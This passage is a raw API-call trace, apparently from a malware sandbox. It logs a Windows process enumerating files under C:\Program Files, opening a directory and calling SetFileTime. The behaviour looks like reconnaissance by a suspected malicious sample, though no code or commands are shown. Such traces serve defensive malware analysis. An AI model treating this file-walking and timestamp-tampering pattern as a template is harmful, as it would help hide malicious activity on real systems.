Size=0x80) returned 0x925eb0 [0244.992] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.992] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.992] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.992] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.992] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920890 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926158 [0244.992] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.992] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.992] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.992] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.992] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.992] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.992] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.993] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.993] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.993] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.993] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.993] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.993] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.993] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.993] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.993] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.993] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.993] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae41910, ftCreationTime.dwHighDateTime=0x1d56ee3, ftLastAccessTime.dwLowDateTime=0xd069a940, ftLastAccessTime.dwHighDateTime=0x1d56e8c, ftLastWriteTime.dwLowDateTime=0xd069a940, ftLastWriteTime.dwHighDateTime=0x1d56e8c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="radio_move_getting.exe", cAlternateFileName="")) returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.993] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.993] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.993] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.993] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.993] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.993] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.994] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9208b0 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9261e0 [0244.994] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.994] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.994] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.994] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9208d0 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926268 [0244.994] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.994] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0402f20, ftCreationTime.dwHighDateTime=0x1d59b6b, ftLastAccessTime.dwLowDateTime=0x48e72770, ftLastAccessTime.dwHighDateTime=0x1d54418, ftLastWriteTime.dwLowDateTime=0x48e72770, ftLastWriteTime.dwHighDateTime=0x1d54418, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="")) returned 1 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.994] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.994] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.994] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.994] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.994] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.994] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.994] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9208f0 [0244.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9262f0 [0244.995] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.995] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0244.995] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad643f40, ftCreationTime.dwHighDateTime=0x1d54dc2, ftLastAccessTime.dwLowDateTime=0xce3e43f0, ftLastAccessTime.dwHighDateTime=0x1d58468, ftLastWriteTime.dwLowDateTime=0xce3e43f0, ftLastWriteTime.dwHighDateTime=0x1d58468, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0244.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.995] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.995] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.995] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.995] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0244.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.995] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.995] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920910 [0244.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926378 [0244.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xa00) returned 0x928858 [0244.995] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927e90) returned 1 [0244.995] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.995] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0244.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920930 [0244.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926400 [0244.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.996] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e36a70, ftCreationTime.dwHighDateTime=0x1d5b811, ftLastAccessTime.dwLowDateTime=0x61331cd0, ftLastAccessTime.dwHighDateTime=0x1d5390f, ftLastWriteTime.dwLowDateTime=0x61331cd0, ftLastWriteTime.dwHighDateTime=0x1d5390f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="whatsapp.exe", cAlternateFileName="")) returned 1 [0244.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.996] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0244.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.996] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0244.996] GetLastError () returned 0x12 [0244.996] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5a0 [0244.996] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0244.997] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.997] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7236dfa0, ftCreationTime.dwHighDateTime=0x1d5aae1, ftLastAccessTime.dwLowDateTime=0x3eab23f0, ftLastAccessTime.dwHighDateTime=0x1d5757e, ftLastWriteTime.dwLowDateTime=0x3eab23f0, ftLastWriteTime.dwHighDateTime=0x1d5757e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ati.exe", cAlternateFileName="")) returned 1 [0244.997] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0244.997] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5579e0, ftCreationTime.dwHighDateTime=0x1d574cc, ftLastAccessTime.dwLowDateTime=0xfeab9470, ftLastAccessTime.dwHighDateTime=0x1d573b5, ftLastWriteTime.dwLowDateTime=0xfeab9470, ftLastWriteTime.dwHighDateTime=0x1d573b5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0244.997] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0244.997] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0244.997] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0244.997] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.997] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US" (normalized: "c:\\program files\\dvd maker\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.997] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US" (normalized: "c:\\program files\\dvd maker\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0244.997] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0244.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x929260 [0244.997] 